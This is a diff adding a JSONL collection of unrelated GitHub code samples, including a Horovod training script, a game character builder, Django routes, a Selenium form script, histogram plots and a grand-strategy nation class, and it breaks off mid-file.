diff --git "a/2413.jsonl" "b/2413.jsonl" new file mode 100644--- /dev/null +++ "b/2413.jsonl" @@ -0,0 +1,1206 @@ +{"seq_id":"22927758432","text":"import time \ntime_start=time.perf_counter()\nimport os\nos.environ['TF_CPP_MIN_LOG_LEVEL'] = '3'\n\nimport tensorflow as tf\nimport horovod.tensorflow.keras as hvd\nfrom tensorflow.keras.datasets import fashion_mnist\nfrom tensorflow.keras.utils import to_categorical\nfrom tensorflow.keras.models import Sequential\nfrom tensorflow.keras.layers import Conv2D, MaxPooling2D, Dense, Flatten\nfrom tensorflow.keras.optimizers import SGD, Adam\n\n\n# Initialize Horovod\nhvd.init()\n\nif hvd.rank() == 0:\n print(f\"Total number of GPUs: {hvd.size()}\")\n\n# Pin GPU to be used to process local rank (one GPU per process)\ngpus = tf.config.experimental.list_physical_devices('GPU')\nif gpus:\n for gpu in gpus:\n tf.config.experimental.set_memory_growth(gpu, True)\n tf.config.experimental.set_visible_devices(gpus[hvd.local_rank()], 'GPU')\n\n\n# Build model and dataset\ndef load_dataset():\n def normalise(pixel):\n return pixel.astype('float32') / 255.0\n \n # Load dataset.\n (train_x, train_y), (validation_x, validation_y) = fashion_mnist.load_data()\n\n # Reshape dataset and normalise.\n train_x = train_x.reshape((train_x.shape[0], 28, 28, 1))\n validation_x = validation_x.reshape((validation_x.shape[0], 28, 28, 1))\n train_x = normalise(train_x)\n validation_x = normalise(validation_x)\n\n # One hot encode target values.\n train_y = to_categorical(train_y)\n validation_y = to_categorical(validation_y)\n\n return train_x, train_y, validation_x, validation_y\n\ndef get_model_definition():\n model = Sequential()\n model.add(Conv2D(32, (3, 3), activation='relu', kernel_initializer='he_uniform', input_shape=(28, 28, 1)))\n model.add(MaxPooling2D((2, 2)))\n model.add(Flatten())\n model.add(Dense(100, activation='relu', kernel_initializer='he_uniform'))\n model.add(Dense(10, activation='softmax'))\n return model\n\ndef compile_model(learning_rate, momentum=None):\n model = get_model_definition()\n # compile model with Horovod DistributedOptimizer.\n # opt = hvd.DistributedOptimizer(SGD(lr=learning_rate, momentum=momentum))\n opt = hvd.DistributedOptimizer(Adam(lr=learning_rate))\n # Specify `experimental_run_tf_function=False` to ensure TensorFlow\n # uses Horovod's DistributedOptimizer to compute gradients.\n model.compile(optimizer=opt,\n loss='categorical_crossentropy',\n metrics=['accuracy'],\n experimental_run_tf_function=False)\n return model\n\ndef main():\n # model_filename = str(utils.model_dir.joinpath('multi-gpu'))\n # checkpoint_filename = str(utils.checkpoint_dir.joinpath('checkpoint-{epoch}.h5'))\n # tensorboard_log_dir = str(utils.tb_log_dir)\n\n\n learning_rate = 0.001\n # momentum = 0.9\n batch_size = 320\n epochs = 10\n\n # Increase the batch size to decrease network traffic between GPUs\n batch_size *= hvd.size()\n # Scale the learning rate (SGD Optimisers benefit from this).\n # source: Accurate, Large Minibatch SGD Training ImageNet in 1 Hour\n learning_rate *= hvd.size()\n\n # Callbacks\n callbacks = [\n # Horovod: broadcast initial variable states from rank 0 to all other processes.\n # This is necessary to ensure consistent initialization of all workers when\n # training is started with random weights or restored from a checkpoint.\n hvd.callbacks.BroadcastGlobalVariablesCallback(0),\n ]\n callbacks.append(hvd.callbacks.MetricAverageCallback())\n callbacks.append(hvd.callbacks.LearningRateWarmupCallback(initial_lr=learning_rate / hvd.size(),\n warmup_epochs=3,\n verbose=0))\n\n # Save checkpoint and tensorboard files on worker 0 only.\n # The model is identical across all workers; therefore, other workers should not\n # save this information. Concurrent I/O could also corrupt output files.\n # if hvd.rank() == 0:\n # callbacks.append(tf.keras.callbacks.ModelCheckpoint(checkpoint_filename))\n # callbacks.append(tf.keras.callbacks.TensorBoard(log_dir=tensorboard_log_dir,histogram_freq=1))\n\n\n model = compile_model(learning_rate)\n train_x, train_y, val_x, val_y = load_dataset()\n num_samples = train_x.shape[0]\n\n # All workers compute the model together.\n model.fit(\n train_x,\n train_y,\n batch_size=batch_size,\n epochs=epochs,\n validation_data=(val_x, val_y),\n # steps_per_epoch = num_samples // batch_size,\n shuffle=True,\n callbacks=callbacks,\n verbose=1 if hvd.rank() == 0 else 0,\n )\n \n # Worker 0 saves the model when complete (model identical across all workers).\n # if hvd.rank() == 0:\n # model.save(model_filename)\n\nif __name__ == \"__main__\":\n main()\nif hvd.rank()==0:\n time_end = time.perf_counter()\n final_time = (time_end-time_start)\n print(f\"Total elapsed time: {final_time:.4f} seconds.\")","repo_name":"atteggiani/horovod","sub_path":"models/hvd_fashion-mnist.py","file_name":"hvd_fashion-mnist.py","file_ext":"py","file_size_in_byte":4947,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"29986880550","text":"from src.save_load import load_char, save_char, list_save_slots\nfrom src.char_data import origins_dict\nimport re\nimport os\n\n\ndef display_char(char) -> None:\n print()\n print(f'Name: {char.name}')\n print(f'Lvl. {char.level:03} {char.origin.name}')\n print(f'Total Runes: {char.total_runes} | Runes Needed: {char.runes_needed()}')\n print('*-ATTRIBUTES-*')\n print(f'VIG: {char.vigor:02} | MND: {char.mind:02} | END: {char.endurance:02} | STR: {char.strength:02}')\n print(f'DEX: {char.dexterity:02} | INT: {char.intelligence:02} | FTH: {char.faith:02} | ARC: {char.arcane:02}')\n print('*-CORE STATS-*')\n print(f'HP: {char.hit_points:04} | FP: {char.focus_points:03} | Stamina: {char.stamina:03}')\n print(f'Max Equip Load: {char.equip_load:05} | Discovery: {char.discovery:03}')\n print('*-BODY-*')\n print(f'Imm: {char.immunity:03} | Rob: {char.robustness:03} | Foc: {char.focus:03} | Vit: {char.vitality:03}')\n print('*-DEFENSES-*')\n print(f'Physical: {char.physical_defense:03} | Magic: {char.magic_defense:03} | Fire: {char.fire_defense:03} | Lightning: {char.lightning_defense:03} | Holy: {char.holy_defense:03}')\n print()\n\n\nif __name__ == '__main__':\n stat_commands = {\n 'vig': 'Vigor', 'vigor': 'Vigor', 'mnd': 'Mind', 'mind': 'Mind', 'end': 'Endurance', 'endurance': 'Endurance',\n 'str': 'Strength', 'strength': 'Strength', 'dex': 'Dexterity', 'dexterity': 'Dexterity', 'int': 'Intelligence',\n 'intelligence': 'Intelligence', 'fth': 'Faith', 'faith': 'Faith', 'arc': 'Arcane', 'Arcane': 'arcane'\n }\n mod_commands = ['=']\n stat_adjust_pattern = '(?P\\w+)\\s(?P.)\\s(?P\\d+)'\n new_name_pattern = '(?Pname)\\s(?P.+)'\n new_origin_pattern = '(?Porigin)\\s(?P.+)'\n save_load_pattern = '(?Psave|load)\\s(?P\\d+)'\n test_tarnished, _bool = load_char(0)\n running = True\n while running:\n display_char(test_tarnished)\n response = input('? ')\n if response.lower() in ['q', 'quit']:\n running = False\n elif re.fullmatch(stat_adjust_pattern, response.lower()):\n command = re.fullmatch(stat_adjust_pattern, response.lower())\n if command.group('stat') not in stat_commands:\n os.system('clear')\n os.system('clear')\n print('Invalid Stat!')\n print('Valid Stat Ex. \"str\" or \"strength\"')\n print()\n elif command.group('mod') not in mod_commands:\n os.system('clear')\n os.system('clear')\n print('Invalid Mod!')\n print('Valid Mods are: \"=\"')\n print()\n else:\n os.system('clear')\n os.system('clear')\n stat = stat_commands[command.group('stat')]\n val = int(command.group('val'))\n test_tarnished.set_stat(stat, val - test_tarnished.origin.stat_block[stat])\n elif re.fullmatch(new_name_pattern, response.lower()):\n command = re.fullmatch(new_name_pattern, response)\n if len(command.group('new_name')) > 16:\n os.system('clear')\n os.system('clear')\n print('Invalid Name!')\n print('Names must be 16 characters or less')\n print()\n else:\n os.system('clear')\n os.system('clear')\n new_name = command.group('new_name')\n test_tarnished.set_name(new_name)\n elif re.fullmatch(new_origin_pattern, response.lower()):\n command = re.fullmatch(new_origin_pattern, response)\n if command.group('new_origin') not in [org for org in origins_dict]:\n os.system('clear')\n os.system('clear')\n print('Invalid Origin')\n print('Valid Origins are: ' + ', '.join([org for org in origins_dict]))\n else:\n os.system('clear')\n os.system('clear')\n new_origin = origins_dict[command.group('new_origin')]\n test_tarnished.set_origin(new_origin)\n elif re.fullmatch(save_load_pattern, response.lower()):\n command = re.fullmatch(save_load_pattern, response.lower())\n if int(command.group('save_slot')) < 1:\n os.system('clear')\n os.system('clear')\n print('Invalid slot ID!')\n print('Save Slot must be a positive integer')\n if command.group('command') == 'save':\n os.system('clear')\n os.system('clear')\n save_char(int(command.group('save_slot')), test_tarnished)\n print(f'{test_tarnished.name} saved successfully to slot {command.group(\"save_slot\")}')\n print()\n else:\n os.system('clear')\n os.system('clear')\n test_tarnished, success_check = load_char(int(command.group('save_slot')))\n if success_check:\n print(f'{test_tarnished.name} loaded successfully from slot {command.group(\"save_slot\")}')\n else:\n print('ERROR!')\n print(f'No Tarnished found in slot: {command.group(\"save_slot\")}')\n print()\n elif response.lower() == 'list':\n os.system('clear')\n os.system('clear')\n print(list_save_slots())\n print()\n else:\n os.system('clear')\n os.system('clear')\n print('ERROR! UNRECOGNIZED COMMAND!')\n print()\n","repo_name":"N1N3B4LL/EldenLordBuilder","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":5667,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"74364382482","text":"from django.urls import path\n\nfrom . import views\n\nurlpatterns = [\n path('',views.index, name='home'),\n path('register/', views.register, name=\"signup\"),\n path('cart/', views.cart, name=\"main_cart\"),\n path('contact/',views.contact, name='contact'),\n path(\"restaurant/\", views.view_all, name=\"restaurants_view_all\"),\n path(\"restaurant/detail/\", views.view_detail, name =\"view_detail\"),\n path(\"search/index\",views.search,name = \"rest_search\"),\n path('add_to_cart/',views.addToCart,name=\"add-to-cart\"),\n path('update_cart_item/',views.update_cart_item,name = 'update-cart-item'),\n path('reset_cart/',views.reset_cart,name = 'reset-cart'),\n path('remove_cart_item/',views.delete_cart_item,name = 'delete-cart-item'),\n path('checkout/',views.checkout,name = 'core_checkout'),\n path('manage/profile/', views.account_settings, name=\"account_settings\"),\n path('manage/myorders',views.my_order,name=\"myorders\"),\n]","repo_name":"bpdyl/foodcenter","sub_path":"apps/core/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":969,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"32716001311","text":"import backtrader as bt\n\nclass SLTPTracking(bt.Observer):\n\n lines = ('stop', 'take')\n\n plotinfo = dict(plot=True, subplot=False)\n\n plotlines = dict(stop=dict(ls='-', linewidth=1.5),\n take=dict(ls=':', linewidth=1.5))\n\n def next(self):\n if self._owner.sl_price != 0.0:\n self.lines.stop[0] = self._owner.sl_price\n\n if self._owner.tp_price != 0.0:\n self.lines.take[0] = self._owner.tp_price\n\nclass BuySellStop(bt.observers.BuySell):\n lines = ('buy','sell','stop')\n\n plotlines = dict(\n buy=dict(marker='^', markersize=8.0,fillstyle=\"full\"),\n sell=dict(marker='v', markersize=8.0,fillstyle=\"full\"),\n stop=dict(marker='o', markersize=8.0,color='blue',\n fillstyle='full',ls='')\n )\n\n def next(self):\n super(BuySellStop,self).next()\n owner = self._owner\n for o in owner._orderspending:\n order = o\n if order.exectype in [bt.Order.Stop,bt.Order.StopLimit,\n bt.Order.StopTrail,bt.Order.StopTrailLimit]:\n self.lines.stop[0] = order.created.price","repo_name":"princetonwong/AlgoTrading","sub_path":"BacktraderAPI/BTObserver.py","file_name":"BTObserver.py","file_ext":"py","file_size_in_byte":1141,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"29393606432","text":"class Prediction:\n \"\"\"\n Represents a prediction\n \"\"\"\n \n def __init__(self,id,broadcaster_id,broadcaster_name,broadcaster_login,title,winning_outcome_id,outcomes,prediction_window,status,created_at,ended_at,locked_at):\n \"\"\"\n Args:\n id (str): ID of the Prediction\n broadcaster_id (str): ID of the broadcaster\n broadcaster_name (str): Name of the broadcaster\n broadcaster_login (str): Login of the broadcaster\n title (str): Title for the Prediction\n winning_outcome_id (str): ID of the winning outcome\n If the status is ACTIVE, this is set to null\n outcomes (list): Possible outcomes for the Prediction\n prediction_window (int): Total duration for the Prediction (in seconds)\n status (str): Status of the Prediction\n Valid values are: RESOLVED, ACTIVE, CANCELED, LOCKED\n created_at (str): UTC timestamp for the Prediction’s start time\n ended_at (str): UTC timestamp for when the Prediction ended\n If the status is ACTIVE, this is set to null\n locked_at (str): UTC timestamp for when the Prediction was locked\n If the status is not LOCKED, this is set to null\n \"\"\"\n\n self.id=id\n self.broadcaster_id=broadcaster_id\n self.broadcaster_name=broadcaster_name\n self.broadcaster_login=broadcaster_login\n self.title=title\n self.winning_outcome_id=winning_outcome_id\n self.outcomes=outcomes\n self.prediction_window=prediction_window\n self.status=status\n self.created_at=created_at\n self.ended_at=ended_at\n self.locked_at=locked_at","repo_name":"DaCasBe/TwitchPy","sub_path":"twitchpy/prediction.py","file_name":"prediction.py","file_ext":"py","file_size_in_byte":1788,"program_lang":"python","lang":"en","doc_type":"code","stars":30,"dataset":"github-code","pt":"3"} +{"seq_id":"29288360187","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nТестируем боевую конфигурацию :)\n\"\"\"\nimport unittest\nimport sys\nfrom datetime import datetime, timedelta\n\n__authors__ = \"Bogdanov Evgeniy\"\n__email__ = \"evbogdanov@yandex-team.ru\"\n\nsys.path.append(\".\")\nimport stocks3\nfrom stocks3.core.source import SourceLoader\nfrom stocks3.export.exporter import make_exporter\n\n\nclass OldquotesTest(unittest.TestCase):\n def setUp(self):\n stocks3.load_modules()\n loader = SourceLoader()\n self.exporter = make_exporter(loader.get_active_sources())\n\n def test_oldest_quotes(self):\n if datetime.now().month == 1 and 1 <= datetime.now().day <= 10:\n return\n\n fails = []\n quote_set = {}\n for quote in self.exporter.list_of_quotes_for_export():\n if not quote.has_flag('item') or quote.has_flag('ignore_dates'):\n continue\n quote_set[quote.quote_id] = quote\n data = self.exporter.reader.db.stocks.aggregate([\n {\"$match\": {\"disabled\": {\"$ne\": True}, \"discontinued\": {\"$ne\": True}}},\n {\"$sort\": {\"date\": 1}},\n {\"$group\": {\"_id\": {\"id\": \"$id\",\n \"region\": \"$region\"},\n \"lastDate\": {\"$last\": \"$date\"}}}\n ])\n\n if isinstance(data, dict): # fallback для старых монг\n data = data[\"result\"]\n\n for record in data:\n quote_id = record[\"_id\"][\"id\"]\n quote_region = record[\"_id\"][\"region\"]\n quote_date = record[\"lastDate\"]\n if quote_id not in list(quote_set.keys()): # or max_date is None:\n continue\n if datetime.now().date() - datetime.strptime(quote_date, '%Y-%m-%d').date() > timedelta(days=3):\n fails.append(\n (quote_set[quote_id].name, quote_id, quote_region, quote_date, quote_set[quote_id].source.sourceId))\n\n message = 'old stocks: ' + ' % '.join(['{1}:{2}'.format((fail[0]), (fail[1]), (fail[2])) for fail in fails[0:]])\n self.assertEqual(len(fails), 0, message)\n\n\nif __name__ == \"__main__\":\n unittest.main()\n","repo_name":"Alexander-Berg/2022-tests-examples","sub_path":"stocks/tests/test_oldquotes.py","file_name":"test_oldquotes.py","file_ext":"py","file_size_in_byte":2170,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"288382018","text":"class Solution:\n def solve(self, trips, capacity):\n from collections import defaultdict\n\n events = defaultdict(int)\n for (start, end, num) in trips:\n events[start] += num\n events[end] -= num\n curr = 0\n for i in range(max(events)):\n curr += events[i]\n if curr > capacity:\n return False\n return True\n","repo_name":"yaeba/binary-search-solutions","sub_path":"solutions/Uber-Pool.py","file_name":"Uber-Pool.py","file_ext":"py","file_size_in_byte":402,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"3"} +{"seq_id":"23184177306","text":"import pygame.font\n\nclass Button:\n\n def __init__(self, ai_game, msg):\n \"\"\"按钮类\"\"\"\n self.screen= ai_game.screen\n self.screen_rect = self.screen.get_rect()\n\n #设置按钮的尺寸和其他属性\n self.width, self.height =200, 50\n self.button_color =(0, 255, 0)\n self.text_color =(255,255,255)\n self.font = pygame.font.SysFont(None, 48)\n\n # 创建按钮的rect对象，并使其居中\n self.rect=pygame.Rect(0, 0,self.width,self.height)\n self.rect.center = self.screen_rect.center\n\n # 按钮的标签只需创建一次\n self._prep_msg(msg)\n \n def _prep_msg(self, msg):\n \"\"\"将msg渲染为图像，并使其在按钮上居中\"\"\"\n #font.render()将msg中的文本转换为图像并将图形储存在self.msg_image中 True为���开文字反锯齿\n self.msg_image = self.font.render(msg,True,self.text_color,self.button_color)\n self.msg_image_rect = self.msg_image.get_rect()\n self.msg_image_rect.center = self.rect.center\n \n def draw_button(self):\n # 绘制按钮、文本\n self.screen.fill(self.button_color,self.rect)\n self.screen.blit(self.msg_image,self.msg_image_rect)\n \n","repo_name":"antzw/alien_invasion","sub_path":"button.py","file_name":"button.py","file_ext":"py","file_size_in_byte":1245,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"34879603286","text":"from selenium import webdriver\nfrom selenium.webdriver.common.by import By\nfrom webdriver_manager.chrome import ChromeDriverManager\nfrom selenium.webdriver.support.ui import Select\nimport time\n\ndriver = webdriver.Chrome(ChromeDriverManager().install())\ndriver.implicitly_wait(10)\n\ndriver.get(\"http://www.orangehrm.com/orangehrm-30-day-trial/\")\n\ndef send_data(ele,data):\n driver.find_element(By.ID,ele).send_keys(data)\n\ndef select_values(element,value):\n select = Select(element)\n select.select_by_visible_text(value)\n\ndef select_value_from_drop_down(element,value):\n options =driver.find_elements(By.XPATH, element)\n print(len(options))\n for ele in options:\n print(ele.text)\n if ele.text == value:\n ele.click()\n break\n\nprint(driver.title)\n\ndriver.maximize_window()\n\nusername_url = 'Form_submitForm_subdomain'\nfirst_name= 'Form_submitForm_FirstName'\nlast_name = 'Form_submitForm_LastName'\nemail = 'Form_submitForm_Email'\nfeature_link = driver.find_element(By.LINK_TEXT,'Features')\n\nindus_drop = driver.find_element(By.ID,'Form_submitForm_Industry')\nselect = Select(indus_drop)\n\ncountry_drop = driver.find_element(By.ID,'Form_submitForm_Country')\nselect1 = Select(country_drop)\n\nstate_drop= '//select[@id=\"Form_submitForm_State\"]/option'\n\n\n\n\nsend_data(username_url,'Naveen Automation Labs')\nsend_data(first_name,'Naveen')\nsend_data(last_name,'Automation Labs')\nsend_data(email,'naveen@automation.com')\n#feature_link.click()\n\n#select.select_by_visible_text('Education')\n#select.select_by_index(4)\n#select.select_by_value('Electronics')\n#print(select.is_multiple)\n\n#select1.select_by_visible_text('India')\n\nselect_values(indus_drop,'Education')\nselect_values(country_drop,'India')\n\n#Getting all values from dropdown list and selecting specific one\nselect2 = Select(indus_drop)\nindus_list = select2.options\nfor elem in indus_list:\n print(elem.text)\n if elem.text=='Automotive':\n elem.click()\n break\n\n#Selecting from dropdown without Select class\n\ncountry_options = driver.find_elements(By.XPATH,'//select[@id=\"Form_submitForm_Country\"]/option')\nprint(len(country_options))\nfor ele in country_options:\n print(ele.text)\n if ele.text== 'Canada':\n ele.click()\n break\n\ntime.sleep(2)\n\nselect_value_from_drop_down(state_drop,'Alberta')\n\ntime.sleep(2)\ndriver.quit()\n","repo_name":"parihar08/SeleniumPythonSession","sub_path":"com/qa/seleniumsessions/DropdownHandle.py","file_name":"DropdownHandle.py","file_ext":"py","file_size_in_byte":2348,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"72480246802","text":"\"\"\"\ninterarrivalsHistogram.py\n\nCode that displays histogram of interarrival times and service times from files\ninterarrivals.txt and service.txt\n\nJashon Brown 2017\n\"\"\"\n\nimport numpy as np\nimport matplotlib.mlab as mlab\nimport matplotlib.pyplot as plt\nfrom numpy.random import normal\n\n#readFile function provided by Ed\ndef readfile(fn):\n\twith open(fn) as fh:\n\t\treturn [float(x) for x in fh.read().split('\\n')]\n\n\t\t\ninterarrivals = readfile(\"interarrivals.txt\")\nserviceTimes = readfile(\"service.txt\")\n\n#Number sets how many bins(time frame per bar) are to be used \nNUMBER_OF_BINS = 8\n\n\"\"\"\n3 different graphs per data set showing standard, normalized and cumulative graphs\nDraws all graphs one after the other once the previous one has been closed\n\"\"\"\ndef drawStandardInterarrivalHistogram():\n plt.hist(interarrivals, bins=NUMBER_OF_BINS)\n plt.title(\"Interarrival Times\")\n plt.xlabel(\"Value\")\n plt.ylabel(\"Frequency\")\n plt.show()\n\ndef drawNormalizedInterarrivalHistogram():\n plt.hist(interarrivals, bins=NUMBER_OF_BINS, normed=True)\n plt.title(\"Normalized Interarrival Times\")\n plt.xlabel(\"Value\")\n plt.ylabel(\"Frequency\")\n plt.show()\n\ndef drawCumulativeInterarrivalHistogram():\n plt.hist(interarrivals, bins=NUMBER_OF_BINS, normed=True, cumulative=True)\n plt.title(\"Cumulative Interarrival Times\")\n plt.xlabel(\"Value\")\n plt.ylabel(\"Frequency\")\n plt.show()\n \ndef drawStandardServiceHistogram():\n plt.hist(serviceTimes, bins=NUMBER_OF_BINS)\n plt.title(\"Service Times\")\n plt.xlabel(\"Value\")\n plt.ylabel(\"Frequency\")\n plt.show()\n \ndef drawNormalizedServiceHistogram():\n plt.hist(serviceTimes, bins=NUMBER_OF_BINS, normed=True)\n plt.title(\"Normalized Service Times\")\n plt.xlabel(\"Value\")\n plt.ylabel(\"Frequency\")\n plt.show()\n \ndef drawCumulativeServiceHistogram():\n plt.hist(serviceTimes, bins=NUMBER_OF_BINS, normed=True, cumulative=True)\n plt.title(\"Cumulative Service Times\")\n plt.xlabel(\"Value\")\n plt.ylabel(\"Frequency\")\n plt.show()\n \ndef drawBothHistograms():\n plt.hist(interarrivals, bins=NUMBER_OF_BINS, normed=True, label=\"Interarrival Times\")\n plt.hist(serviceTimes, bins=NUMBER_OF_BINS, histtype='stepfilled', normed=True, color='r', alpha=0.5, label='Service Times')\n plt.title(\"Interarrival and Service Times\")\n plt.xlabel(\"Value\")\n plt.ylabel(\"Frequency\")\n plt.legend()\n plt.show()\n\ndrawStandardInterarrivalHistogram()\ndrawNormalizedInterarrivalHistogram()\ndrawCumulativeInterarrivalHistogram()\ndrawStandardServiceHistogram()\ndrawNormalizedServiceHistogram()\ndrawCumulativeServiceHistogram()\ndrawBothHistograms()\n\n","repo_name":"kraemezoe/COMP312","sub_path":"Histograms.py","file_name":"Histograms.py","file_ext":"py","file_size_in_byte":2806,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"28742868455","text":"import numpy as np\n\nfrom .robot import VacuumRobot\n\n\nclass House:\n \"\"\"Represents a house with dust\"\"\"\n\n def __init__(self, width: int, height: int, walls: np.array) -> None:\n self.width = width\n self.heigth = height\n self.walls = np.full((height, width), False)\n self.dust = np.full((height, width), False)\n\n for w in walls:\n self.walls[w[1], w[0]] = True\n\n (\n self.min_x,\n self.max_x,\n self.min_y,\n self.max_y,\n ) = self.get_surrounding_rectangle()\n\n def get_free_spot(self) -> tuple:\n \"\"\"Returns a free spot on the map\"\"\"\n\n while True:\n x = np.random.randint(self.min_x + 1, self.max_x)\n y = np.random.randint(self.min_y + 1, self.max_y)\n\n # Generate a spot for robot without walls, dust and inside the house\n if (\n not self.walls[y, x]\n and not self.dust[y, x]\n and self.is_inside_house(x, y)\n ):\n\n return (x, y)\n\n def dirty(self, x: int, y: int) -> None:\n \"\"\"Puts dust in that spot\"\"\"\n\n self.dust[y, x] = True\n\n def clean(self, x: int, y: int) -> None:\n \"\"\"Cleans the dust from that spot\"\"\"\n\n self.dust[y, x] = False\n\n def is_inside_house(self, x: int, y: int) -> bool:\n \"\"\"Checks if a point (`x`, `y`) is inside the house\"\"\"\n\n collisions = 0\n\n if self.walls[y, x]:\n return False\n\n # Left border\n for i in range(x, -1, -1):\n if self.walls[y, i]:\n collisions += 1\n break\n\n # Right border\n for i in range(x, self.width):\n if self.walls[y, i]:\n collisions += 1\n break\n\n # Upper border\n for i in range(y, -1, -1):\n if self.walls[i, x]:\n collisions += 1\n break\n\n # Lower border\n for i in range(y, self.heigth):\n if self.walls[i, x]:\n collisions += 1\n break\n\n if collisions == 4:\n return True\n else:\n return False\n\n def get_surrounding_rectangle(self) -> tuple[int]:\n \"\"\"Returns the coordinates of a rectangle that envolves all the walls\"\"\"\n\n min_x = 0\n max_x = self.width\n min_y = 0\n max_y = self.heigth\n\n # Left border\n for i in range(0, self.width):\n if np.any(self.walls[:, i]):\n min_x = i\n break\n\n # Right border\n for i in range(self.width - 1, -1, -1):\n if np.any(self.walls[:, i]):\n max_x = i\n break\n\n # Upper border\n for i in range(0, self.heigth):\n if np.any(self.walls[i, :]):\n min_y = i\n break\n\n # Lower border\n for i in range(self.heigth - 1, -1, -1):\n if np.any(self.walls[i, :]):\n max_y = i\n break\n\n return min_x, max_x, min_y, max_y\n\n def is_following_wall(self, robot: VacuumRobot, point):\n \"\"\"Checks if the robot is following a wall (its back right side is close to the wall)\"\"\"\n\n *pos, theta = robot.get_state()\n r = int(robot.get_radius())\n\n R = np.array(\n [\n [np.cos(theta), np.sin(theta)],\n [-np.sin(theta), np.cos(theta)],\n ]\n )\n\n if point == \"back\":\n follow_point = R @ np.array([-r, r]) + pos\n else:\n follow_point = R @ np.array([r, r]) + pos\n\n # Generate pixels at the right of the robot\n check_points = []\n for r in range(-r, r // 4):\n check_points.append(\n follow_point\n + r * np.array([np.cos(theta - np.pi / 2), -np.sin(theta - np.pi / 2)])\n )\n\n check_points = np.array(check_points, dtype=int)\n try:\n return np.any(self.walls[check_points[:, 1], check_points[:, 0]])\n\n except IndexError:\n return False\n","repo_name":"TiagoLourinho/vacuum-robot-simulator","sub_path":"source/adts/house.py","file_name":"house.py","file_ext":"py","file_size_in_byte":4104,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"23161013546","text":"import random\nfrom datetime import datetime, timedelta\nfrom enum import Enum\nfrom game.ai.nation_ai import NationAI\nimport json as js\nfrom nation_data.coordination.retreive_and_convert import retreive_coords\n\nflags = {\n \"1910\": \"../flags/britain/United-Kingdom-Flag.jpg\",\n \"1914\": \"../flags/britain/United-Kingdom-Flag.jpg\",\n \"1918\": \"../flags/britain/United-Kingdom-Flag.jpg\",\n \"1932\": \"../flags/britain/United-Kingdom-Flag.jpg\",\n \"1936\": \"../flags/britain/United-Kingdom-Flag.jpg\",\n \"1939\": \"../flags/britain/United-Kingdom-Flag.jpg\"\n}\n\nleader_images = {\"1910\": \"../leaders/britain/330px-Herbert_Henry_Asquith_till_1916.jpg\",\n \"1914\": \"../leaders/britain/330px-Herbert_Henry_Asquith_till_1916.jpg\",\n \"1918\": \"../leaders/britain/330px-David_Lloyd_George_1916-1922.jpg\",\n \"1932\": \"../leaders/britain/J._Ramsay_MacDonald_LCCN2014715885_(cropped)_till_1935.jpg\",\n \"1936\": \"../leaders/britain/Stanley_Baldwin_ggbain.35233_1935_1937.jpg\",\n \"1939\": \"../leaders/britain/chamberlain_1937-1939.jpeg\"\n }\n\nmonarchs = {\n \"\"\"Dictionary for english monarchs\n Leader selection will be in sync with time frame selection\n Unlike population, leader dictionary will be setup to be as historically accurate as possible\"\"\"\n\n \"1910\": \"Edward VII\",\n \"1914\": \"George V\",\n \"1918\": \"George V\",\n \"1932\": \"George V\",\n \"1936\": \"Edward VIII\",\n \"1939\": \"George VI\"\n}\n\npm = {\n \"1910\": \"H.H. Asquith\",\n \"1914\": \"H.H. Asquith\",\n \"1918\": \"David Lloyd George\",\n \"1932\": \"Ramsay MacDonald\",\n \"1936\": \"Stanley Baldwin\",\n \"1939\": \"Neville Chamberlain\"\n}\n\nspare_pms = [\"Duncan Pirie\", \"Henry Cowan\", \"Harold Baker\", \"James Calmont\", \"Ellis Ellis-Griffith\",\n \"Charles Craig\", \"William Jones\", \"Alfred Scott\", \"Sir Charles Hunter\"]\n\nspare_1900_1950_monarchs = [\"Louis\", \"Prince Arthur\", \"Beatrice\", \"Prince Henry\", \"Alexander Ramsay\",\n \"Alexander Cambridge\",\n \"Albert Victor\", \"Victoria II\", \"George VI\"]\n\n\nclass EconomicState(Enum):\n RECESSION = 1\n DEPRESSION = 2\n EXPANSION = 3\n RECOVERY = 4\n\n\n# population variables and dictionaries\n\"\"\"Dictionary for population\n Population selection will be in sync with time frame selection\n Population will then be set up to grow or shrink in random amounts\"\"\"\npopulation = {\n\n \"1910\": 44720000,\n \"1914\": 45590000,\n \"1918\": 46350000,\n \"1932\": 46250000,\n \"1936\": 47190000,\n \"1939\": 47890000\n}\n\n# economic variables and dictionaries\ngdp = {\n \"1910\": 15783763158,\n \"1914\": 17856842105,\n \"1918\": 23873207895,\n \"1932\": 44371994737,\n \"1936\": 53157368421,\n \"1939\": 54936947368\n}\n\n\nclass Britain(NationAI):\n def __init__(self, globe):\n super().__init__(globe)\n self.date_checker = globe.date + timedelta(days=3)\n self.nation_color = (random.randrange(0, 255), random.randrange(0, 255), random.randrange(0, 255))\n self.region = \"europe\"\n self.name = \"Great Britain\"\n # social variables\n \"\"\"population\"\"\"\n self.population = population[str(globe.date.year)]\n # political\n self.leader = pm[str(globe.date.year)]\n self.leader_image = leader_images[str(globe.date.year)]\n self.flag = flags[str(globe.date.year)]\n self.political_typology = \"Democratic\"\n self.political_power = 200\n self.political_exponent = 1.56\n \"\"\"Stability\"\"\"\n self.current_gdp = gdp[str(globe.date.year)]\n self.national_debt = 0\n self.coordinates = []\n self.land_1910_1914 = [\"United Kingdom of Great Britain and Ireland\", \"British East Africa\",\n \"British Somaliland\",\n \"Malaya\", \"British Protectorate\", \"British Raj\", \"Australia\", \"Anglo-Egyption Sudan\",\n \"Egypt\",\n 